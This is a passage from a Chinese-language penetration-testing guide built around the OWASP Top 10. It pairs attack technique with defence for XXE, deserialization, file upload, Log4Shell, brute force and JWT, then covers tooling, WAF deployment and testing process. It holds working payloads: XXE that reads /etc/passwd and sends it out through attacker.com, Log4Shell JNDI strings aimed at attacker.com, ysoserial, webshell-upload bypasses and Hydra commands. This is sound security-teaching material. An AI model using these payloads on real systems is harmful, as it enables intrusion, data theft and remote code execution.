  • Strict 仅同站请求携带 Cookie;Lax 允许同站及顶级导航时携带
  • Referer/Origin 头校验作为辅助手段
  • 敏感操作只用 POST/PUT/DELETE;关键操作二次验证(短信验证码)
CSRFSameSiteToken会话

14 · 配置与供应链:XXE、反序列化、文件上传、Log4Shell

2025 版将「易受攻击且过时的组件」扩展为软件供应链故障,覆盖依赖投毒、构建系统攻击、分发链路篡改等全链条风险。该类别出现频次较低,但平均利用分与影响分最高

A02:2025

XXE 外部实体注入 XML External Entity · 所属 PTES 阶段:漏洞分析 / 渗透利用

攻击原理
工具与命令
防御手段

XXE 利用 XML 解析器默认允许 DTD 及外部实体的特性:攻击者在 XML 中声明指向系统文件或网络资源的外部实体,解析器会真实加载并替换到文档中。可造成敏感文件泄露、内网端口扫描、SSRF、拒绝服务(Billion Laughs)乃至 RCE。

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

无回显(Blind XXE):带外外带数据

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd 中将 %file 内容拼接到对 attacker.com 的请求 URL 上,从 HTTP/DNS 日志读取 -->
# XXEinjector:自动化 XXE 检测(支持 Blind XXE)
python xxeinjector.py -u http://target.com/api -p payload.xml
# Burp Suite:将 Content-Type 改为 application/xml,
# 注入 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 观察响应

核心:安全配置 XML 解析器——禁用外部 DTD + 禁用外部实体 + 禁用 DOCTYPE 声明,三管齐下。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
# Python:lxml 安全参数,或直接用 defusedxml(推荐)
parser = etree.XMLParser(resolve_entities=False, no_network=True)
from defusedxml.ElementTree import parse
# PHP
libxml_disable_entity_loader(true);
  • 业务允许时用 JSON 替代 XML
  • WAF 拦截含 <!DOCTYPE<!ENTITYSYSTEM 关键字的请求
  • 限制 XML 文档大小防 DoS;及时升级解析库
配置错误XXEXMLDTD带外
A08:2025

不安全反序列化 Insecure Deserialization · 所属 PTES 阶段:渗透利用

攻击原理
工具与命令
防御手段

应用反序列化不可信数据时未做验证,攻击者构造恶意序列化对象,借助依赖库中可串联的「Gadget Chain(利用链)」通过反射、动态代理等机制执行任意代码。三个前提:存在反序列化入口、ClassPath 存在危险库、存在可串联的利用链。

识别入口的特征:Java 序列化数据 base64 后以 rO0AB 开头(原始字节 AC ED 00 05);PHP 序列化形如 O:8:"ClassName":...;Cookie/参数中出现此类特征即为潜在入口。

ysoserial——Java 反序列化 Payload 生成器,内置 Commons Collections、Groovy、Hibernate、Jdk7u21 等多条预定义利用链:

# 生成 CommonsCollections 利用链 Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser
# base64 后提交到目标接口
cat payload.ser | base64 -w0
  • 黄金法则:绝不反序列化不可信数据。用 JSON 等纯数据格式替代原生序列化
  • 必须反序列化时:对序列化数据做签名/HMAC 完整性校验;白名单限制可反序列化的类(Java ObjectInputFilter
  • 升级/移除危险依赖(Commons Collections 3.2.2+ 已移除危险方法)
  • 网络层限制应用服务器的 LDAP/RMI 出站连接(阻断 JNDI 类利用链回连)
  • 运行时防护(RASP)监控反序列化与类加载行为
完整性反序列化ysoserialJavaFastjson
关联 A05/A02

文件上传漏洞 Unrestricted File Upload · 所属 PTES 阶段:渗透利用

攻击原理
工具与命令
防御手段

文件上传功能对文件的类型、内容、后缀控制不足,导致攻击者可上传可执行脚本(Webshell)并获得服务器命令执行能力。

绕过手法演进

前端 JS 校验
Burp 抓包改包
形同虚设,直接绕过
后端黑名单
.phtml / .PhP / shell.php. / ::$DATA
特殊后缀、大小写、点空格、NTFS 流、.htaccess 解析
Content-Type 校验
Content-Type: image/jpeg
抓包改 MIME 类型
文件头校验
copy a.jpg/b + shell.php shell.jpg
图片马 + 文件包含漏洞解析

上传成功后用 蚁剑(AntSword)/ 哥斯拉 / 冰蝎 等 Webshell 管理工具连接控制服务器。靶场练习推荐 upload-labs(21 个关卡覆盖全部绕过手法)。

# 制作图片马(靶场练习)
copy a.jpg/b + shell.php shell.jpg   # Windows 合成图片马
cat shell.php >> a.jpg               # Linux 追加
  • 白名单校验文件后缀与真实类型(MIME + 魔数 + 图片二次渲染)
  • 上传目录禁止脚本执行(Nginx 对上传目录配置禁用 PHP 解析)
  • 文件名随机重命名并隐藏真实路径;上传目录与 Web 根目录分离(独立域名/对象存储)
  • 限制文件大小、集成杀毒引擎扫描内容;Web 进程最小权限
文件上传Webshell蚁剑解析漏洞
A03:2025

软件供应链故障 · Log4Shell CVE-2021-44228 · 所属 PTES 阶段:漏洞分析

攻击原理
工具与命令
防御手段

2025 版将「易受攻击且过时的组件」扩展为软件供应链故障,覆盖依赖投毒、构建系统攻击、分发链路篡改等全链条风险。该类别出现频次较低,但平均利用分与影响分最高——一个三方依赖的 0day 可以同时打穿上千个应用。

案例:Log4Shell(CVE-2021-44228)

Log4j2(2.0-beta9 至 2.14.1)记录日志时会解析 ${} 格式的 Lookup 表达式,攻击者将 JNDI 表达式注入任何会被记录的字段(User-Agent、用户名、API 参数),触发链:日志记录 → 解析 JNDI → 连接恶意 LDAP/RMI 服务器 → 下载并动态加载恶意 Java 类 → RCE。CVSS 10.0,「记录日志即可触发」。

${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}
# WAF 绕过变形
${${lower:j}ndi:ldap://attacker.com/a}
# 无害测试载荷(验证是否存在解析行为)
${java:version}
${env:PATH}
# 资产排查:找出所有 log4j-core 包
find / -name "log4j-core-*.jar" 2>/dev/null
# SCA 工具扫描依赖漏洞
trivy fs --severity HIGH,CRITICAL .
grype dir:.
# nuclei 漏洞验证(仅限授权目标)
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml
# P0 根本修复:升级到 2.17.1+(Java 8+)/ 2.12.4(Java 7)/ 2.3.2(Java 6)
<properties><log4j2.version>2.17.1</log4j2.version></properties>
# 临时缓解(可被 CVE-2021-45046 部分绕过)
-Dlog4j2.formatMsgNoLookups=true
LOG4J2_FORMAT_MSG_NO_LOOKUPS=true
# 应急手术:删除 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 防火墙限制应用服务器 LDAP(389)/RMI(1099) 出站连接
  • WAF 拦截 ${jndi:ldap://rmi:// 特征
  • 建立 SBOM(软件物料清单)并用 SCA 工具持续扫描依赖
供应链Log4jJNDISBOMSCA

15 · 认证与会话:爆破、JWT、MFA

认证失效覆盖弱口令、暴力破解、凭证填充(撞库)、会话管理缺陷、JWT 误用等。2025 版聚焦现代登录/会话/令牌流程。

A07:2025

身份认证失效 Authentication Failures · 所属 PTES 阶段:漏洞分析 / 渗透利用

攻击原理
工具与命令
防御手段

认证失效覆盖弱口令、暴力破解、凭证填充(撞库)、会话管理缺陷、JWT 误用等。三类主流自动化攻击:

  • 暴力破解:对单账户穷举大量密码
  • 密码喷洒(Password Spraying):用少数常见密码横扫大量账户,规避单账户锁定
  • 凭证填充(Credential Stuffing):用已泄露的真实账号密码对批量尝试登录其他平台

会话层缺陷:登录后会话 ID 不轮换(会话固定)、Session 永不过期、退出后未失效、URL 携带 Session ID。JWT 攻击:弱密钥爆破、alg=none 绕过、HS256/RS256 算法混淆、不校验 exp

Hydra——暴力破解经典工具,支持 SSH/FTP/MySQL/HTTP 表单等数十种协议:

# SSH 爆破
hydra -L users.txt -P pass.txt -t 6 ssh://192.168.1.100
# HTTP POST 表单爆破(^USER^/^PASS^ 占位,F= 失败特征串)
hydra -l admin -P pass.txt 192.168.1.100 http-post-form   "/login:username=^USER^&password=^PASS^:F=登录失败"
# 常用参数:-l 单用户 / -L 用户字典 / -P 密码字典
#           -C user:pass 组合字典 / -e nsr(空密码/用户名作密码/倒序)
#           -t 并发线程 / -o 结果输出 / -vV 详细过程

jwt_tool——JWT 安全测试:

# 爆破 HS256 弱密钥
jwt_tool <JWT> -C -d wordlist.txt
# 伪造 alg=none 令牌
jwt_tool <JWT> -X a

Burp 插件 JWT Editor 可实时修改 JWT 声明并重放请求。

  • 多因素认证(MFA):关键业务强制开启;或条件式 MFA——仅对新设备、异地等异常信号触发
  • 速率限制与账户锁定:按「账户 + 设备指纹 + 行为模式」多维度限速(单纯按 IP 限速会被代理池绕过);多次失败后临时锁定 + 验证码
  • 密码安全存储:bcrypt 或 Argon2 加盐哈希(bcrypt 工作因子建议 12),恒定时间比较防时序攻击;严禁明文或 MD5/SHA1
  • 泄露凭证筛查:对接 Have I Been Pwned 等 k-匿名服务,拒绝已泄露密码
  • 会话安全:登录后轮换会话 ID;Cookie 设 Secure; HttpOnly; SameSite;退出即失效
  • 统一错误信息:「用户名或密码错误」,防账户枚举
  • JWT 使用 RS256/ES256 非对称算法、白名单校验算法字段、设置合理 exp/nbf
@app.route('/login', methods=['POST'])
@limiter.limit("5/minute")           # 限速防爆破
def login():
    user = db.find_by_email(request.form['email'])
    if not user or not bcrypt.checkpw(
            request.form['password'].encode(), user.password_hash):
        return "Invalid credentials", 401   # 统一错误信息
    session.regenerate()                    # 登录后轮换会话ID
    if user.mfa_enabled:
        return redirect('/mfa-verify')      # 条件式 MFA
认证爆破HydraJWTMFA

16 · 其他类别要点

OWASP Top 10 的二十年演进勾勒出一条清晰轨迹:从「代码级漏洞」(注入、XSS)到「系统性风险」(供应链、配置、设计、异常处理)。

安全配置错误(A02:2025,跃升第 2)

新版数据显示 100% 的被测应用都存在某种配置问题:默认口令、目录列表开启、调试模式上线、冗长错误堆栈、云存储桶公开读写、不必要端口/服务开放、安全响应头缺失。

# 配置与已知漏洞扫描
nikto -h http://target.com
nuclei -u http://target -t http/misconfiguration/
# 目录/敏感文件枚举
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# 云存储桶枚举
aws s3 ls s3://bucket-name --no-sign-request
# 仓库密钥泄露扫描
gitleaks detect --source ./repo
trufflehog git https://github.com/org/repo

加密机制失效(A04:2025)

明文 HTTP 被嗅探、弱算法(MD5/SHA1/DES/ECB)、硬编码密钥、随机数可预测、敏感数据明文落库。

  • 全站 TLS 1.2+/HSTS;密码用 bcrypt/Argon2;数据加密用 AES-GCM 等带认证的算法
  • 密钥进 KMS/Secrets 管理而非代码库

不安全设计(A06:2025)

缺陷在架构与设计阶段就注定,代码再好也无法补救——如找回密码仅凭可猜测的安全问题、交易接口无防重放与限额。

  • 威胁建模(STRIDE/PASTA)、安全设计模式、参考架构、滥用场景(Abuse Case)分析——安全左移

日志与告警失效(A09:2025)

没有日志和告警,入侵发生后平均数月才被发现。

  • 记录登录失败、越权、支付等关键事件;日志防注入(输入转义)
  • 集中化(ELK/Splunk/SIEM)并设置可行动的实时告警
  • 保证审计日志完整性与留存周期

异常情况处理不当(A10:2025,全新类别)

错误堆栈泄露内部信息、fail-open(异常时默认放行,绕过鉴权)、超时与资源耗尽导致状态不一致、边界条件(并发条件竞争、整数溢出)。

  • 安全失败(fail-closed)、统一异常处理不泄露内部细节
  • 事务保证状态一致性、对边界与异常路径做专项测试

17 · 速查矩阵:漏洞 × 工具 × 防御

一张图快速定位:遇到什么漏洞 → 用什么工具检测 → 用什么手段防御。

SQL 注入

sqlmap
参数化查询 + ORM

命令注入

Commix / Burp
安全 API + 白名单

XSS

dalfox / XSStrike
输出编码 + CSP

CSRF

Burp / 自建 PoC
SameSite + CSRF Token

SSRF

Burp / gopher
URL 白名单 + 禁重定向

越权 / IDOR

Autorize (Burp)
服务端鉴权 + 对象级校验

路径遍历

wfuzz / Burp
路径规范化 + 白名单

文件上传

蚁剑 / Burp
类型/内容校验 + 重命名

XXE

XXEinjector
禁用 DTD / 外部实体

反序列化

ysoserial
不反序列化不可信数据

认证爆破

Hydra / jwt_tool
MFA + 限速 + bcrypt

组件漏洞

Nuclei / Metasploit
SCA + SBOM + 及时升级

18 · 攻防工具链总览

按"攻击侧"与"防御侧"分类的工具速查表,覆盖代理、扫描、利用、防御、检测全链路。

类别工具用途示例命令
综合代理Burp Suite / OWASP ZAP抓包改包、扫描、Intruder Fuzz—(GUI)
SQL 注入sqlmap自动化注入检测与拖库sqlmap -u "URL?id=1" --dbs --batch
XSSdalfox / XSStrikeXSS 扫描与验证dalfox url "URL?q=x" -b your.xss.ht
越权检测Burp Autorize批量重放对比越权—(插件)
爆破Hydra协议/表单口令爆破hydra -L u.txt -P p.txt ssh://ip
目录扫描gobuster / dirsearch目录与敏感文件枚举gobuster dir -u URL -w wordlist
漏洞扫描Nuclei模板化 CVE/配置扫描nuclei -u URL -s critical,high
Web 扫描Nikto配置错误与已知漏洞nikto -h URL
反序列化ysoserialJava 利用链 Payloadjava -jar ysoserial.jar CC1 "cmd"
JWTjwt_toolJWT 爆破与伪造jwt_tool <JWT> -C -d dict.txt
漏洞利用Metasploit模块化漏洞利用框架msfconsole -r exploit.rc
Webshell蚁剑 / 哥斯拉Webshell 连接管理—(GUI)
网关ModSecurity + OWASP CRSWAF,拦截注入/XSS/LFI 等攻击docker run owasp/modsecurity-crs
代码Semgrep / SonarQubeSAST,CI 中拦截不安全代码semgrep --config auto .
依赖Trivy / GrypeSCA,扫描漏洞依赖trivy fs --severity HIGH,CRITICAL .
供应链SBOM(Syft)/ Sigstore依赖可追溯、防投毒syft . -o cyclonedx-json
密钥TruffleHog / Gitleaks扫描仓库泄露的密钥gitleaks detect --source .
运行时RASP / HIDS运行时行为监控拦截
检测响应SIEM(ELK/Splunk)告警与溯源

19 · 纵深防御实战:WAF 与安全基线

ModSecurity 是全球最流行的开源 WAF 引擎,搭配 OWASP Core Rule Set(CRS)可防护 SQLi、XSS、LFI/RFI、RCE 等 Top 10 攻击,CRS 采用异常评分机制与偏执等级(Paranoia Level 1–4)平衡检出率与误报。

Docker 快速部署

services:
  crs:
    image: owasp/modsecurity-crs
    ports: ["80:80"]
    environment:
      - SERVERNAME=localhost
      - PARANOIA=1            # 偏执等级,越高规则越严、误报越多
      - ANOMALYIN=5           # 入站异常评分阈值
      - ANOMALYOUT=4          # 出站异常评分阈值
      - PROXYLOCATION=http://app:8000/   # 后端应用

Nginx 集成

# 1. 获取推荐配置并开启拦截模式
mkdir /etc/nginx/modsec
wget -P /etc/nginx/modsec/ https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended
mv /etc/nginx/modsec/modsecurity.conf{-recommended,}.conf
sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/nginx/modsec/modsecurity.conf
# 2. 引入 OWASP CRS 规则集
cd /etc/nginx/modsec
wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.tar.gz
tar xf v3.3.2.tar.gz
cp coreruleset-3.3.2/crs-setup.conf{.example,}
# 3. nginx.conf 启用
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/main.conf;
上线要点:先在 DetectionOnly 模式观察正常流量建立基线、排除误报,再切拦截模式;通过 modsec_audit.log 定位误报规则做白名单排除;WAF 是纵深防御的一层,不能替代代码层修复

HTTP 安全响应头速查

Strict-Transport-Security: max-age=31536000; includeSubDomains   # 强制 HTTPS
Content-Security-Policy: default-src 'self'                      # 防 XSS
X-Content-Type-Options: nosniff                                  # 防 MIME 嗅探
X-Frame-Options: DENY                                            # 防点击劫持
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax          # 会话加固

20 · Web / API 专项流程

Web/API 测试不能混用网络/主机测试的打法。重点是 BOLA/对象级授权、属性级授权、Token、Schema、限流、SSRF、GraphQL/WebSocket;必须用测试对象和角色矩阵。

入口地图

页面、API、参数、上传、导入、导出、Webhook、管理端

身份矩阵

匿名、普通用户、管理员、服务账号;每个对象做访问对比

输入验证

类型、长度、编码、解析器边界、错误处理;先无害标记

业务逻辑

状态跳转、重复提交、金额/权限边界、竞态、审批绕过

WSTG 对照补充

  • 配置与部署:默认文件、详细错误、调试端点、目录列表、HTTP 安全头、TLS 配置
  • 认证与会话:登录、注销、密码重置、MFA、会话固定、过期、撤销、Cookie 属性
  • 授权:水平/垂直越权、多租户隔离、对象级和功能级授权
  • 输入与错误处理:类型、长度、编码、解析器边界、错误信息、异常堆栈和统一错误响应
  • 密码学:弱算法、密钥/证书配置、传输保护、密码存储和随机数使用
  • API/客户端:REST、GraphQL、WebSocket、异步任务、限速、浏览器端信任边界

推荐测试顺序

  1. 读取公开页面和 API 文档,记录技术栈与版本
  2. 建立正常请求基线,不带攻击载荷
  3. 逐项测试认证、会话、访问控制、输入验证、文件上传、配置
  4. 发现异常后用 Repeater 做单变量对比
  5. 只用测试账号、测试对象和无害文件确认影响
  6. 记录每个结论的前置条件与证据

文件上传验证原则

允许列表:扩展名 + MIME + magic bytes + 内容结构
存储:随机文件名、非 Web 根目录、最小权限
执行:上传目录禁止脚本执行
访问:下载接口做对象级授权
验证:使用无害 Canary,不读取真实密钥/配置

21 · 网络、SSH 与认证测试流程

网络测试的核心是"先识别、再判断、后验证",不要凭 Banner 断言系统类型。

  1. 识别:确认端口、协议、Banner、算法、TLS/Host Key
  2. 判断实现:真实服务、转发、设备服务或模拟器只能作为假设,不能仅凭 Banner 定论
  3. 认证方式:确认 password/publickey/证书/多因素和失败处理
  4. 限量验证:优先测试账号,低并发、低速、可停止,观察服务端审计
  5. 策略观察:失败次数、锁定、延迟、来源限制、告警、日志投递
  6. 影响边界:不要把验证扩展到真实账号、敏感数据或横向移动
特别提醒:同一个端口号"看起来像 SSH",并不保证 Hydra、OpenSSH、扫描脚本都能与其完整交互;工具兼容性本身也可以成为指纹线索,但不能单独证明蜜罐。

22 · 专项边界:内网、云、无线与 OT

API、AD/内网、云与容器、无线/物理/OT 不能混用一套打法。

API

重点是 BOLA/对象级授权、属性级授权、Token、Schema、限流、SSRF、GraphQL/WebSocket;必须用测试对象和角色矩阵

AD/内网

重点是资产关系、身份路径、Kerberos、委派、网段边界和堡垒机;BloodHound 等枚举必须有独立内网授权

云与容器

重点是 IAM、存储权限、网络暴露、密钥、Kubernetes RBAC、镜像和运行时;第三方云平台与托管服务需单独确认

无线/物理/OT

单列授权、现场联系人和停机红线;OT 环境默认禁止主动扫描和破坏性验证,先采用被动观察与厂商批准的方式

侦查边界

  • 被动侦查:公开 DNS、证书、公开文档和公开代码,不主动触达目标;适合在授权尚未覆盖主动探测时建立初步画像
  • 主动侦查:端口扫描、Web 请求、协议握手和目录枚举,会触达目标,必须在 ROE 中明确源 IP、速率、时间窗和影响控制
  • 外部指纹不是事实:Banner、TTL、算法或错误页面只能形成概率判断,遇到不一致应记录"不确定",不能据此断言系统类型或蜜罐
覆盖声明:一次 Web/API 测试不能自动代表云、AD、无线、物理或 OT 安全已被评估;报告必须列出未覆盖资产、未执行技术和原因。

23 · 工具选择:按动作建立自己的决策树

经验来自"假设—动作—证据—决策"循环,而不是从工具名开始。

我不知道服务是什么

→ nmap / Banner / 协议探测

我不知道认证方式

→ ssh -v / 认证枚举 / 服务端配置

我不知道路径是否存在

→ baseline + ffuf/Gobuster

我怀疑越权

→ Burp Repeater + 两个角色/对象对比

我怀疑上传校验

→ allowlist/内容签名/无害 Canary

我需要证明告警链路

→ 单次受控事件 + 读取最终日志后端

每次行动前的 9 个问题

  1. 目标是否在授权范围?
  2. 我当前掌握哪些事实?
  3. 哪一个未知信息阻碍决策?
  4. 我要验证的假设是什么?
  5. 工具是否匹配目标协议和实现?
  6. 会产生什么副作用?
  7. 成功和失败的判据是什么?
  8. 证据从哪里读取?
  9. 什么时候停止,下一步如何升级?

A2 · 能力认证路径(学习参照)

认证定位适合阶段
OSCP(OffSec)实操型渗透测试黄金标准,24 小时实机考试入门转进阶的分水岭
PNPT(TCM Security)完整项目制考试:含报告与汇报环节入门/进阶,贴近商业交付
CISP-PTE / CISP-PTS(中国)国内注册渗透测试工程师/专家国内从业资质刚需
GPEN / GXPN(GIAC)企业渗透测试 / 高级利用开发进阶
OSEP / OSED(OffSec)规避防御 / 利用开发红队与高阶方向

A3 · 官方一手资源(建议收藏原文)